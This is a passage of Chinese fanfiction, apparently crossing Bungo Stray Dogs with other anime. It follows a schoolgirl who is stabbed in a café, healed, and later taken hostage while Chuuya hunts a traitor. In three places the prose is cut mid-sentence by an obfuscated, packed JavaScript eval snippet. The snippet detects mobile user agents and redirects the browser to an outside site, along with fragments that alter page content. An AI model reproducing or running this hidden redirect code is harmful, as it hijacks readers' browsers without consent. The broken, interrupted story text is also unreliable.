《横滨有家甜品屋》 7. 十五岁(七) 07 店内,客人的尖叫声此起彼伏,有人开始拨通警察的电话。 我失力倒在地上,血液在身下越积越多。 完蛋,我这辈子不会就这么短短十五年吧…… 我咬住下唇,强忍疼痛往歹徒的方向看去。 “混蛋!” 我用尽全力,看着歹徒骂出声来。 下一秒,一道修长的身影闪进来,紧接着歹徒便倒在地上失去了意识。 那是个身披绿色羽织的白发男人,谁也没有看清他刚才的动作。 待所有人看清时,只能看见歹徒被过肩摔,漂浮在半空的景象。 白发男人来到我面前蹲下,小心托起我的上身,放轻语气。 “没事了,坏人已经被我制裁。” “藤原!!!” 惊慌的声音传来。 凌乱的脚步声听在我身旁,我转头看去,对上一双仓皇失措的蓝眸。 “中原君……” 我虚弱地开口,勉强扬起一抹微笑。 白发男人眼眸微睁,眼里闪过警惕之色,立刻抱起我跳开一步。 中原中也僵在原地,浑身血液被冻住,机械般看向我。 血淋淋的样子倒映在他的眼眸中,他缓缓低下头,瞧见了地上少年熟悉的面孔。 他瞳孔骤缩,杀意如潮水往四周宣泄。 白发男人动作轻缓地将我放在地上,看着一旁的少女点头。 “你没事吧?” 一名约莫十八九岁的少女出现在我的视野里,关切地看着我。 白发男人压了下眉心,沉声道:“与谢野,她被伤到大动脉,接下来就麻烦你了。” “我知道。” 少女勾起唇角,抚上我的额头。 温暖的手掌往下移动,遮住了我的眼眸。 “睡一觉就没事了。” “请君勿死——” 蝴蝶煽动翅膀的细微声响传入耳中,在少女轻柔的声线中,我身上剧烈的疼痛瞬间消失。 下一瞬,我陷入了沉睡。 * 中原中也跨过没有生息的尸体,踩在天台边缘眺望远方。 他眉头紧蹙,心里产生一股奇怪的感觉。 这场暗杀行动策划得过于简单,而且愚蠢。 一个狙击手怎么可能将他杀死。 更何况他已经加入了港口mafia,隶属尾崎红叶麾下的作战部队,应该有不少地下份子知道这个情报才对。 怎么会采取这么贸然的行动? 难道目的是将他引开,制造恐怖袭击? 但他又不是警察,针对他没有什么意义。 组织最近也没有要在人群中偷偷进行的交易,而且那个商业街人流众多,更不可能是要盗取组织的情报。 那么就只剩下一个可能,个人雇佣狙击手暗杀,单纯来寻仇而已。 “啧,GSS的残党吗?真是阴魂不散啊。” 他不屑地嘲讽道。 蓦地,中原中也脑海中浮现藤原清月微笑的脸庞,心里的不安更甚。 他失策了,完全没有考虑到GSS残党发疯的可能性。 那些人正面打不过他,就会从他身边的人下手。 中原中也跃下天台,暗红色的光泽包裹身体游走在大楼间,快速朝商业街赶去。 他回到原处,人群已经散开。 “刚才你看见了吗?一名少女在咖啡店被刀捅了——” “太可怕了!” 路人脸上带着惊慌的神色跑来,正描述他们嘴里的咖啡店里发生的灾难。 中原中也立刻朝咖啡店奔去,他将围堵在门口的人拨开,清晰地看见藤原清月痛苦倒地的身影。 白发男人小心将她抚起,按住她身后的伤口。 血液源源不断从男人的指缝滑落,藤原清月的脸趋于死一样的苍白。 死亡。 中原中也睁大眼眸,第一次如此恐惧这个词。 他看向地面,袭击者帽子脱落,露出了全貌。 熟悉的五官让他四肢僵在原地,手腕上的蓝色腕带在眼里异常刺目。 策划这一切的不是GSS,而是羊的成员。 他们交情不深,却也不算很浅,曾有一次在海滨公园交心畅谈过。 中原中也心里最隐秘的事情,只有这个袭击者知晓。 “中原君……” 藤原清月痛苦得几乎要蜷缩进白发男人的怀里,即便如此,她还是看着他露出笑容。 只是这抹笑容虚弱得过于虚幻,仿佛下一秒就要消失。 他看得清楚,刀口位于她的后腰,腹主动脉被刺中,大动脉破裂,命悬一线。 白发男人往后跳去,冷静的双眸中多了一分警惕。 中原中也后知后觉看向白发男人的脸,这张脸在加入mafia的时候就在照片里见过。 “这些是武装侦探社的成员,要深深刻在脑子里,如果任务被他们阻碍,杀了也无所谓。” 首领的话音犹在耳,那白发男人是武装侦探社的社长福泽谕吉。 他握紧拳头,提起来的心脏稍稍松了些。 中原中也认得旁边的少女就是侦探社的女医,拥有起死回生的异能。 侦探社一定会救藤原清月。 而他,只能呆站在原地。 中原中也带不走藤原清月,此刻连接近都做不到。 如若身为mafia的他接近她,福泽谕吉就会抱着她躲避,这就会继续加重她身上的伤口。 如果他强行带走藤原清月,那么清月会在他们的争夺中失血而亡。 就算能够成功带走,又有哪家医院的医生会比侦探社女医的异能安全又稳妥? 更何况,这会被组织发现,他有一个在意的女孩子,会给她带来麻烦。 中原中也攒紧拳头,压低帽檐不发一言。 戴着眼镜的黑发男人跑进来,与他擦身而过。 他似有所觉,诧异地看了中原中也一眼。 “社长,这少女要死了。” 黑发男人眉头微蹙,沉声道。 “请君勿死——” 女医使用异能的声音传来,紫色的蝴蝶在藤原清月身边萦绕。 藤原清月苍白的脸恢复红润,急促痛苦的呼吸变得平稳。 她表情平静地沉睡,好似刚才的危险从未发生过。 中原中也松了口气,他目光沉沉地盯着地面的袭击者,最后看他一眼。 他回过身,黑色大衣飘在空中,往门外走去。 “糟糕,社长!” 江户川乱步看出中原中也的意图,大喊出声。 中原中也一个旋身出现在袭击者身旁,拎起他抗在肩上。 福泽谕吉握紧刀柄,刚一踏出脚步,被覆上异能的匕首挡在脚边。 再一抬头,中原中也的身影消失了。 “逃走了吗?” 福泽谕吉低声呢喃。 * 中原中也提着袭击者出现在小巷中,他掐住袭击者的脖子按在墙上。 他看着眼前熟悉的脸,没有丝毫犹豫,收紧力道。 袭击者猛然惊醒,中原中也充满杀意的脸庞倒映在眼底,吓得他双脚颤抖。 “你、你想干什么……” 中原中也从喉咙挤出声音,“你恨我就直接来找我,为什么要对她下手!” 袭击者嗤笑出声,强壮镇定:“中也,你把我们都抛弃了,就应该堕入地狱万劫不复 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16787038|190519||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' !凭什么可以过上好日子——” “你不是喜欢那个女人吗?我就要让你尝尝失去重要之人的痛苦!” “哈哈哈哈哈——” 他在恐惧和颤抖中,疯狂地笑出声来。 袭击者知道,他触碰到了中原中也决不能被触碰的底线,一定会被重力碾压成碎片。 “抛弃?这话听得我真是要大笑出来,当初是谁那么积极地散布我加入mafia的假消息的?” 中原中也眼里的杀意更胜,额角青筋暴起,勒住袭击者脖子的手愈发用力。 “是我又怎样,你看啊,现在不是已经加入了吗?你这个背叛者。” 袭击者嘲讽出声,表情癫狂。 “中也,你连相伴多年的同伴都能够杀掉,这样的你又能保护的了什么?” 袭击者望进中原中也的双眸,在几乎窒息的情况下声音沙哑道。 中原中也猛然睁大眼眸,右手抽出匕首,朝袭击者的心脏刺去。 袭击者身体颤抖,如深渊的恶灵般紧紧盯着中也。 “真是疯子。” 中原中也垂眸,冷眼看着他咽气。 他俯下身,干净利落地拔出匕首,往更深的黑暗走去。 * 我缓缓睁开眼睛,白色的天花板映入眼帘。 “清月——” 爸妈的脸出现在眼前,我迷蒙地喊道:“爸爸?妈妈?” 妈妈眼角涌现泪珠,重重松了口气。 “终于醒了,警察背着你回来的时候真是吓死我了!” 她怜爱地抚摸我的脸颊,心有余悸地捂住心口。 “醒了就好,以后要在包里放几颗糖。” 爸爸疲惫和担忧萦绕在眉间,脸上浮现一丝笑意,。 我忽然间注意到爸爸的发丝间多了几根白发,抬手朝爸爸伸去。 蓦地,我的手被握住。 小樱、知世和蜜璃先后出现在我的视野里,她们松了口气,眉宇间紧皱的眉头放松不少。 “醒了醒了!” 她们开心地喊出声来。 我轻轻摇头,朋友们的手将我的手紧紧包裹。 温暖的掌心恍若隔世,我想起咖啡店里发生的袭击事件,心脏一紧,但后腰却没有传来疼痛。 我想要询问发生了什么,但视线触及到爸妈时,他们脸色关切的笑容让我将话彻底吞咽。 要是爸妈知道我被刀捅了,他们一定承受不住。 此刻,劫后余生的庆幸彻底涌上心头。 ——“睡一觉就好了。” 那少女这样说过,治愈是她的能力吗? 是以前小可提到过的异能力者吗? 我开始环视四周,熟悉的环境让我不安的心情放松下来。 这是我的房间。 知世脸上浮现担忧的神色,倾身过来问道:“警察跟我们说你在咖啡店突然犯低血糖晕过去了。” 小樱握住我的手,突然按了下我的掌心。 这是我们之间的暗号,意思是有不能被其他人知道的秘密要讨论。 我看向知世和蜜璃,她们悄悄对我点头。 “我没事,大家怎么来了?” 我打了个哈欠,笑着问道。 “难为小樱和知世请假过来看望,而且蜜璃也在,我来做好吃的给你们,晚上让滋送你们回去。” 妈妈恢复了心情,双手合十,兴致冲冲地提议。 爸爸点点头,温柔地看向妈妈。 “不错的提议呢。” “对吧!” 妈妈握拳打气,脸色微红,“还要给清月好好补补身体,一定是最近参加完美糕点比赛累着了。” 我与朋友们对视一眼,纷纷笑出声来。 8. 十五岁(八) 08 爸妈走出房间后,小可从小樱包里飞出来,惊慌地飞到我面前开始咆哮。 “清月,到底怎么回事?小樱梦见你被刀刺伤的画面,可警察却说你只是低血糖?” 我撩起衣服,摸向后腰伤处,那里一片光滑,没有任何伤口。 小樱轻轻点头,看向小可,“嗯,小可偷偷去咖啡店观察过,是军警过来处理的,他们在安抚客人时,会拿出香蕉形状的空/气/枪,对准额头发射。” “之后,客人没有了那段记忆,被什么画面替代了,有说有变态对女性进行骚扰的,也有说看见猴子进来抢蛋糕的……” 小可抱起双臂,说到最后叹了口气,“反正很奇怪,大概是异能力者制作的道具吧。” “以前我对你们说过吧,这个世界还有一部分特殊的人类,他们拥有各式各样的超能力。” “警察对我们的说辞是低血糖,可能小月也被异能力者抹除了被袭击的记忆。” 知世顺着小可的话推测,仔细观察我的表情。 “但看小月的反应,似乎没有被消除记忆呢。” 蜜璃朝我扑来,抱住我压在她胸口蹭了蹭,“听小樱说你会有生命危险的时候,我快要吓死了!” “……蜜璃,我要窒息了。” 我颤巍巍伸出手,从少女满怀香气的怀里挣扎出来。 蜜璃扬起灿烂的笑颜,“不管怎样,小月没事实在是太好了——” 我缓缓吐出一口气,看着眼前朋友们关心的脸庞,商业街的危险仿佛从未发生过。 她们的存在本身,就让我感到安心。 我将商业街发生的事情说给她们听,在大家惊讶的表情中,小可突然给我当头一拳。 “笨蛋吗!那个叫中原中也的少年,很明显就是危险人物,你以后给我离他远一点。” 小可恨铁不成钢地瞪着我,开始说教起来。 “一开始偷钱包的男人恐怕就是个幌子而已,目的是让你们停留在街上好暗杀,再把中原中也引走,等你一个人的时候就找你下手!” “你这次会遇到这样的事情,就是跟中原中也走太近了——” 小可重重敲击我的额头,越说越生气。 “可是,我跟中原君也没有走很近啊,就最近总会碰见而已……” 说完,小可气笑了,抬脚踹了我的脸颊。 我捂住发疼的右脸,抽抽鼻子,委屈地呜咽两声。 “小可,打得太重了啦!” 小樱抱住我的脑袋,安抚地拍拍我。 “没有走很近的情况下你就被人捅刀了!不管他是军方培养的特殊人才,还是地下组织的人,总之是跟犯罪集团打交道的人物,跟他牵连过深的话,你身边的所有人都会被罪犯当成威胁目标。” 小可抱起双臂,语气严厉地补充道。 这些话深深落在我的心里,我没有反驳,只是露出无奈的笑意。 “如果我倒下了,小樱会用魔法打倒坏人,蜜璃会用剑术将坏人砍得七零八碎吧。” “那当然!” 朋友们异口同声道。 蜜璃撸起袖子,拍拍结实有力的胳膊,“就算转世了,我也没有将剑术丢掉,恋之呼吸随时为小月服务。” “还有我,可鲁贝洛斯的火焰会燃尽一切。” 小可拍拍胸脯,自信得意极了。 暖意涌上心口,我笑弯眼眸,神色温柔地注视着这一世最重要的友人们。 次日,门铃响起。 “清月,是妈妈给你订购的行李箱到了,帮妈妈签收一下。” “好——” 我踹着拖鞋哒哒哒来到玄关换上室外拖鞋,打开门顺着小道来到大门。 我们家是传统的一户建,两层的小洋楼外加院子,是妈妈在外婆那里继承的房产。 “辛苦了。” 我连忙打开院门,笑着说道。 门外站着一名配送员,脚边有一个大箱子。 配送员身高与我相差无几,穿着深蓝色的工服,头发全部藏进帽子里,脸用口罩遮得严严实实,只有一双蓝眸露出来。 他的手里拿着一个包装精致的红色礼盒,礼盒上绑有白色的蝴蝶结丝带。 我眨眨眼睛,一下子认出了配送员是谁。 话说,中原君这伪装是不是有点拙劣了? 他将红色礼盒塞到我手里,礼盒上贴有一个便利贴。 便利贴上写着—— 【恭喜获得本店随机获赠的礼品,请收下。】 笔记有些歪歪扭扭,但能看得出来,落笔人尽量写得工整。 中原中也压低帽檐,很快转身离开。 “中原君。” 我看着他的背影喊道。 中原中也浑身一僵,停下脚步刻意捏着嗓子,声音沙哑道:“你认错人了。” “中原君,你的眼睛我可不会认错。” 我无奈地耸耸肩,跑到他面前,“这是你送的礼物?” “我可不知道电视购物会有这么包装精致的礼物附赠,而且就算真的有附赠的礼品,这个纸条也是打印纸才对,而不是亲手写下的哦。” 中原中也:“……” 他眼里划过无奈的神色,去下帽子摘下口罩,“有这么明显吗?” 我勾起唇角,重重点头。 “中原君真别扭呢,送礼物还这么大费周章。” “但是,为什么突然送我礼物?” 我笑弯眼眸,好奇地望进他眼里。 中原中也脸上浮现窘迫的神色,结结巴巴道:“啰、啰嗦,你不是要去巴黎留学吗?这是给你的祝贺礼物。” “还有,上次害你低血糖晕倒,真的抱歉。” 看来,他也认为我的记忆被异能力者消除了。 我默认他的话,开心得凑上前去。 “我可以打开看看吗?” 中原中也双颊微红,后退一步与我拉开距离。 “随便。” 我迫不及待拆开包装,白色蝴蝶结丝带缠在手腕上。 盒子打开的瞬间,有什么东西迅速弹出,撞在我的脑门上。 “咚!” 我往后一仰,摔倒在地。 阳光落在脸上,眼前冒出阵阵金光。 礼物盒子落在一旁,一个沙包做成的拳头连接弹簧,正不断左右摇摆。 也不知道这扁扁的盒子是怎么容得下这个整蛊玩具的。 中原中也看着礼盒里的东西,顿时目瞪口呆。 “什么鬼——” “中原君,你是对我有什么意见吗?” 我嘴角一抽,额头正叫嚣着疼痛。 忽然,一张白纸轻飘飘从空中落下,掉在我面前。 我捡起一看,茫然地念出声来。 “中也去死吧。太宰。” 啊。 太宰治开始刷存在感了! 我看向中原中也,他已经眼冒火光,双手握拳,咬牙切齿,仿佛下一秒就要将始作俑者碎尸万段。 “混蛋太宰,你给我等着——这可是我精心准备的礼物,我现在就回来杀了你!” 中原中也大喊出声,尖锐的声音伴着独特的颤音在上空回荡。 我怔愣在原地,听见他说这是他精心准备的礼物时回过神。 看他的反应,好像礼物被太宰治掉包了。 “怎么了?” 妈妈从二楼阳台走出来,往我们这边看来。 “清月,没事吧?是你的朋友?” 妈妈的声音传来,我抬头看去,笑着点头。 妈妈露出笑容,手放在唇边喊道:“那位少年,进来喝杯茶如何?” 中原中也浑身一僵,脱下帽子朝妈妈鞠躬。 “谢谢,但是不用了,我、我还要去送货。” “抱歉,以后不会再给你添麻烦了。” 他重新戴上帽子,转身大步迈开,走向来时的道路。 我微微一怔,察觉到他话语下的意思,大概是以后不会再见面了。 我看向阳台上的妈妈,她站在阳光中眼里充满笑意,汇聚了这个世界上所有的温柔。 最终,我缓缓勾起一抹笑,内心深处泛起小小的遗憾。 如果靠近中原中也的世界,会让我重要的家人和朋友遭受磨难,那么我应该站在这里看着他走远。 看来,与这个朋友的缘分到此为止了。 “中原君。” 中原中也动作一顿,却没有停下脚步。 “谢谢你的祝贺礼物,我很开心。” “我从来没有觉得你有给我添麻烦。” 这回,他止住步伐,拳头紧紧攒在一起。 “……对不起,我本想给你很好的礼物。” “嗯,我知道。” 我轻笑着回应他。 他依旧像初次见面时那般眼神坚定,背脊笔直,仿佛这个世间没有任何事物可以压弯他的腰。 中原中也再次迈开腿,在我的注视下渐行渐远。 风中吹来樱花清浅的香气,在这个璀璨的春日里,我的心里忽然产生一抹惆怅的情绪。 * 出发巴黎的前四天,乡下的亲戚打电话来,跟爸爸说老家新开了家不错的温泉旅馆,要是有空的话可以回去度假。 于是, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16787039|190519||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 爸爸申请了三天假期,要带我和妈妈回老家熊本县泡温泉。 “那里拥有较多的自然森林,空气清新,风景秀丽,是不错的踏青去处。清月还没在山上悠闲地待过吧?很舒服的哦。” 当时爸爸拿着相册,给我看他年轻时拍下的照片。 于是,我们一家回到老家,在爸爸的老宅检查一番,确认没有物品和电器损坏后,开车前往三隅山上的温泉旅馆住下。 旅馆的业务很丰富,除了温泉,还有许多亲子活动,比如在附近的果园里摘水果。 我和爸妈在草莓园里晃悠一下午,每人都摘了满满一篮子草莓,采摘的过程甚至还有工作人员贴心地为我们拍照。 期间,我接到小樱的电话,急切地问我在哪里。 她说又梦见我出事了,这次是坠落悬崖,提醒我千万不要去偏僻的地方。 我信誓旦旦,绝对跟紧爸妈的脚步,就在温泉旅馆里哪也不去。 这么保证后,小樱才放心地挂断电话。 温泉汤池内冒出阵阵热气,我仰头看着星空失神,任由热气蒸红我的脸。 我想起小樱的话,不理解自己为什么会发生坠落悬崖的危机。 总之,不要离开这间旅馆,应该就能避开了吧。 以往小樱梦见我们几个出现危险的时候,只要避开事发点就能阻止危险的发生,除非是像上次那样来不及应对的突发情况。 “好漂亮的女孩子。” “是呢是呢。” “粉色的脸颊好光滑——” 恍然间,我隐约听见一阵窃窃私语的声音,等我凝神认真倾听时,那些声音却消失了。 明明这个小型汤泉里,只有我一个人在泡。 感情很好的爸妈自然与我分开,在另一个房间里泡澡。 说起来,老家这边妖怪挺多的吧。 会不会是妖怪的声音……? 蓦地,我浑身起了鸡皮疙瘩,觉得自己被看光似的迅速从汤泉里起身,裹上浴巾急匆匆走出去。 我在更衣室穿好和服浴衣,用毛巾擦着湿漉漉的头发往房间走去。 因为爸爸一直被公司外派,所以自出生以来,我鲜少在这边生活,基本都在东京和横滨,只有过年的时候我们家才会回老家住上几日。 也因此,我基本上没在这边的山里待过。 以前从来没听到过妖怪的声音,不知今晚为什么会这样。 因为在山里的原因? 我停在房间门口拉开门,刚一踏进去,一股危机感铺天盖地涌来。 不会是妖怪作祟,把我抓走才会出现在悬崖吧? “女孩,快跑。” 又是一道细微的声音在耳边响起,而房间内空无一人。 几乎是瞬间,我转身就要跑开。 突然,一股力道扯住和服衣领,我的脖子被勒住,身体不受控制摔进房间。 啪的一声,房间被重重关上。 天旋地转间,我在榻榻米上滚了好几圈,直到后背撞在窗户下。 妖怪?! 很快,我的猜测被推翻,极速接近的影子在月色下呈现全貌。 这是一个脸上有伤的黑发男人。 他喘着粗气,掐住我的脖子威胁:“只要你不出声,我就不杀你。” 我眉头紧蹙,脖子被掐住的境况让我感到呼吸困难,只能顺着他的话点头。 黑发男人看起来二十出头,穿着黑色西装,外套有多处破口,血液从外套下摆溢出。 蓦地,他眼里闪过惊讶,仔细端详我的脸。 “原来是你。” 黑发男人没有松开我的脖子,不知为何像认识我一样冒出这句话,接着他整个人兴奋地笑起来。 “我在那条商业街见过你,真是上天眷顾!” “太棒了,你可是我的秘密武器。” “这下,他肯定会放过我——” 脖子上的力道因为他的话愈发收紧,我只能不断痛苦地试图拉开他的手,将自己挣脱出来。 奈何,这男人力气太大,我根本逃脱不了。 “真是对不住,你可是我重要的救星,不能让你就这么断气。” 黑发男人松开手,我终于能够大口呼吸。 可下一瞬,男人抓住我的双手,单手扯下领带牢牢缠住手腕打了个死结。 他站起来背过身,缓步走向茶几。 “今天真是幸运,原来神真的存在!” 男人的声音透着愉悦,宛若他是被上天庇佑的神子。 我趁机站起来跑向门口,可还未到门边,后脑勺被硬物砸中,我脚下失力,眼前一黑彻底失去意识。 9. 十五岁(九) 09 黑暗的世界很可怕,它能够轻易将美好的存在吞噬殆尽,就如他本身。 中原中也深知这一点,所以他从未主动接近过藤原清月。 但许多巧合发生,交织成命运的绳索,让他们之间有了交谈的机会。 仅仅一次的意外,藤原清月就险些丧命。 中原中也再次切身体会到,他所处世界的残酷。 他穿梭在森林里,附加在脚上的异能不断踩断树枝,噼里啪啦掉在泥土上。 中原中也正在追捕组织的叛徒,这是他加入mafia后正式执行的第一个任务。 将泄露组织宝石交易情报,秘密挪用资金的罪人处理掉。 那个叛徒的异能是一旦与人做下约定,若有一方违背定下的规则,那么涉及该约定的所有人都会死亡,异能者本人除外。 因为对方只有一个人,所以这个异能对他来说等于不存在。 一对一的情况下,中原中也可以在叛徒开口前就杀了他。 在明知对方异能的前提下,谁都不会愚蠢到主动与叛徒定下约定。 中原中也顺着叛徒留下的痕迹,追到熊本县的一座山上。 原本他在森林里找到了叛徒,将对方打得昏迷后正要按照组织的处置方法解决时,忽然一股浓雾涌出来。 刺骨的寒意侵染皮肤,直达骨髓。 中原中也升起怪异的感觉,后背有一股黏腻的视线贴上来。 他猛地回头看去,视野被雾气阻碍,看不清雾里有什么东西。 叛徒的同伴吗? 蓦地,叛徒的气息消失了。 中原中也一惊,脚下覆盖重力跃到半空。 奇怪的是,雾气周围没有叛徒的身影,以那人的脚程不可能那么快走出这一带。 雾气是异能吗?能够将人传送走? 红叶大姐给的资料可没有说叛徒有同伙啊—— 忽然,地面的雾气就像突然出现般,迅速消失得无影无踪,刚才一瞬的视线也没有了。 中原中也落回地面,只能在周边再调查一番。 经过一处温泉旅馆后,他继续沿着山中小路深入。 水流声越来越清晰,中原中也拨开树丛,瞧见了一座破旧的建筑。 那是通体朱红色的房屋,孤零零坐落在山崖边缘。 淙淙的水流声回荡,足以让中原中也判断出这山崖下是汹涌的水流,甚至还有一个瀑布断层。 月光照亮屋顶,一缕雾气缠绕在飞檐翘角上。 陈旧的黑色瓦片表面长有翠绿的青苔,猫头鹰踩在瓦片上,正歪着脑袋看向闯入的人类。 中原中也站在山崖边,看见了房屋的全貌。 建筑有两层,与传统的民房不同,最上层的朱红大门是入口,下方更宽敞的一层四面敞开,仅用围栏围住廊道,不像是人类居住的房子,更像一个观光亭。 中原中也来到大门前,朱红的大门紧闭,不知经过多少年月,颜色褪去大半。 他身上覆盖红光,悄然跃下,灵巧地落在廊上。 刚一落地,中原中也便看见一个本不可能出现在这里的人。 藤原清月。 她双眸紧闭,穿着旅馆的蓝白色温泉浴衣,安安静静地躺在房屋中间的地板上。 糟糕的是,那个叛徒正坐在藤原清月身旁,把玩着锋利的匕首。 中原中也指尖微颤,心慌的感觉再次涌起。 他想起了咖啡店里的无力感。 “重力使,很惊讶吧?” 黑发男人没有了刚才即将被杀的狼狈,而是意气风发,游刃有余。 “我向神明许愿,要从你的异能中逃脱。” “我被你打得失去意识后做了一个梦,有一个叫不月神的神明大人,只要我支付代价就回应我的愿望,帮助我这个恶人逃出生天,于是我答应了。” “他说去温泉旅馆,有能帮到你的人。” “然后我一醒来,竟然真的脱离危险了,而且就出现在温泉旅馆附近。” “我按照神的话,闯进一个房间,刚好碰见这个女孩。” “而所谓的代价,不过是钱包里的钱,在我绑架她的瞬间,钱消失了。” “神,是眷顾我的!” 男人激动的声音在空旷的大堂里回荡,冷风从四面贯穿,发出呜呜的声音。 中原中也轻嗤,维持脸上冷漠的神色,双手放在黑色西服的口袋里。 “愚蠢至极,神怎么可能存在?你的协助者是谁?” “你脑子是不是坏了?居然编出这么一套说辞,可笑。” 他眼里泛起红光,沉声道:“现在给我老实交代,说不定就让你少受些痛苦。” 怎料,黑发男人嗤之以鼻,用匕首拍了拍藤原清月的脸。 “你想装作不认识她?晚啦。” 他得意地笑笑,说:“你们在商业街的事情,我可是看得一清二楚。” “你说巧不巧?” “你喜欢她吧?” 黑发男人的话如恶魔的低语,穿透耳膜在大脑扎根。 中原中也睁大眼眸,身上覆盖红光,顷刻间出现在男人面前朝他踢去。 可黑发男人速度更快,他将匕首抵在藤原清月的脖子上,厉声道:“你要是敢攻击我,我就割断她的颈动脉。” 攻击戛然而止,鞋堪堪停在男人眼前。 “现在开始,手脚都不能移动,但凡你有任何动作,她就会没命。” 黑发男人将匕首贴得更紧,目光牢牢锁定在中原中也身上。 中原中也冷眼俯视黑发男人,开口:“提出你的条件。” 黑发男人加大唇边的笑意,道:“跟我定下约定,只要你让我离开,不再追杀我,并向上级汇报我已经被你处理掉。” 中原中也抿紧唇,看着昏迷的藤原清月,眼眸深处划过挣扎的神色。 * 我意识恢复清醒的时候,后脑勺传来阵痛,紧接着皮肤泛起寒意,水流声接踵而来。 “提出你的条件。” 这是中原君的声音?! 许是被砸中脑袋的后遗症,我的眼睛一时还睁不开。 “跟我定下约定,只要你让我离开,不再追杀我,并向上级汇报我已经被你处理掉。” “如果你不想她死的话。” 接着,男人的声音便在上方响起。 昏迷前发生的事情在大脑里闪过,心脏紧张得开始加速跳动。 我心里很慌,可脖子上锋利的触感让我感觉非常不妙。 有把刀抵在我的脖子上,那个男人正在用我威胁中原中也。 这样的认知让我的大脑快速冷静,尽力维持呼吸均匀的状态。 很快,我感到眼皮一松,身体的僵硬渐渐消去,行动的自由权重新掌握在自己身上。 糟糕糟糕糟糕! 我是有多背啊,这都能被中原中也的仇家碰见。 “快说答应。” 男人的声音开始变得着急。 为什么一定要中原君答应? 就算先答应了又如何,中原君可以随时违约。 还是说有什么不能违背约定的条件……? “快说啊——” 男人再次催促。 “这个世界上有部分人拥有异能。” 小可说过的话回荡在脑海中。 这个男人的异能? 中原君答应的话,岂不是很不妙? 因为我的缘故让他陷入困境,岂不是拖累! 不管了,拼一把。 我张开眼睛,喊道:“我答应。” 刹那间,异能的金光笼罩我和黑发男人,定下了某种规则。 赌对了,这个异能的对象不能指定,谁先答应就与谁绑定。 “什么?!” 黑发男人震惊地睁大双眸,似乎没想到我会这么快醒来。 趁此机会,我十分精准地抓住中原中也的裤脚,屈膝用力一蹬,将自己往上挪,成功远离抵在脖子上的利刃。 中原中也迅速做出反应,红光顺着他的身体袭来,将我全身包裹。 他抬脚踹走男人手中的匕首,俯下身将我从地上拉起来,把我向楼梯的方向推 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16787040|190519||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去。 “快走!” 我踉跄几步站稳,没有任何迟疑迈开脚步,埋头就跑。 开玩笑,不跑留下来当人形靶子吗! 我抓住楼梯围栏,三步一个台阶往上冲。 刚跑到楼梯口,冰冷的金属贴上额头。 我呼吸一窒,惊恐地看着眼前的枪。 持枪人身着棕色特种服,黑色马甲上挂有手榴弹。 枪口抵住我的额头,持枪人声音低沉,面罩下传出令我浑身发冷的话语。 “将她抓起来。” “出声或反抗即刻射杀。” 持枪人的身后,出现一队相同装束的恐怖分子,数量众多。 一排黑漆漆的枪口对准我,只要我不按照他们说的做,下一秒就会被子弹射成筛子。 我只能任由这些人摆布。 大脑冷静地告诉我这个事实。 很快,我的嘴被胶带封住,银色手铐将双手紧锁。 “抓住人质了。” 为首的男人拿出对讲机,喉咙发出毫无感情的冰冷语调。 * 中原中也与黑发男人的战斗以极快的速度,赢得了压倒性胜利。 黑发男人狼狈地倒在地上,五脏六腑快要被重力碾成碎片。 他痛苦地嚎叫出声,手剧烈颤抖,伸向外套内衬的口袋。 中原中也察觉到他的动作,眼眸微眯,当即踩断他的手。 “啊啊啊——!!!” 惨叫的悲鸣响彻这间空荡荡的屋子。 黑发男人身上传出通讯器的电流声,陌生的声音钻出来。 “抓住人质了。” 中原中也猛然睁大眼眸,俯身快速掏出通讯器。 “放开她!” 他声音低沉,如野兽嘶吼。 “别白费力气,这通讯器设定了单向通话,你说的话他们听不见。” 黑发男人艰难爬起来,右手扶住扭曲变形的左手,喘着气嘲讽道:“你以为我一直都是一个人吗?” “错了——” “你还在羊的时候,就杀了不少GSS的队员,加入mafia后更是借由mafia的势力将他们消灭,但还是有部分残党躲过了灭队行动,他们可是对你的项上人头感兴趣得很。” “只要我让我的线人放出消息,说你独自一个人在这偏僻的山里,GSS的残党就会出动,化为恶鬼找你复仇。” “我只要能撑到他们到来,我就能活下去。” “当然,你与那少女的关系,我也一起透露给他们了。” “现在放我走,我就让GSS放过她。” 他从口袋里掏出另一个通讯器,按下上面的通话键,表示连线的红点亮起。 “让她开口。” 男人声音沙哑道。 中原中也紧握的双拳开始颤抖,怒意几乎要化为实体都从眼里喷出。 “如果你们伤害她,我会将你们一个个碎尸万段。” 黑发男人露出得逞的笑容,指着通讯器道:“注意力气哦。” “要是对讲机坏了,你可没法确定他们的位置。” “……” 中原中也气得眼眶泛红,额角青筋暴起。 通讯器再次传出陌生人的声音。 “让她说话。” 